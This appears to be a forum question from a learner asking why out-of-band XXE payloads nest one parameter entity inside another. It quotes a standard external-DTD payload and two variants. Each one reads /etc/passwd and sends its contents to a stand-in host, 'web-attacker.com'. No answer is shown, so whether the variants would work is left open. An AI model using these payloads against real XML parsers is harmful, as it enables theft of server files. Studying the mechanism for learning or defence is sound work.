I’m not sure why the different XXE injection payloads follow a specific pattern

I’m not sure why the different XXE injection payloads follow a specific pattern

I'm quite new to XXE attacks so please bear with me, when I look at the different payloads to get a OOB XXE they all look like the following (external DTD) :

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

my question is: why not doing something like:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval  SYSTEM 'http://web-attacker.com/?x=%file;'>
%eval;

even if it will throw an error but I think it will do the job which is sending the file to our server

or we can do:

 <!ENTITY % file SYSTEM "file:///etc/passwd">
 <!ENTITY  eval  SYSTEM 'http://web-attacker.com/?x=%file;'>
 &eval; in the xml 

so why we need a parameter entity inside another one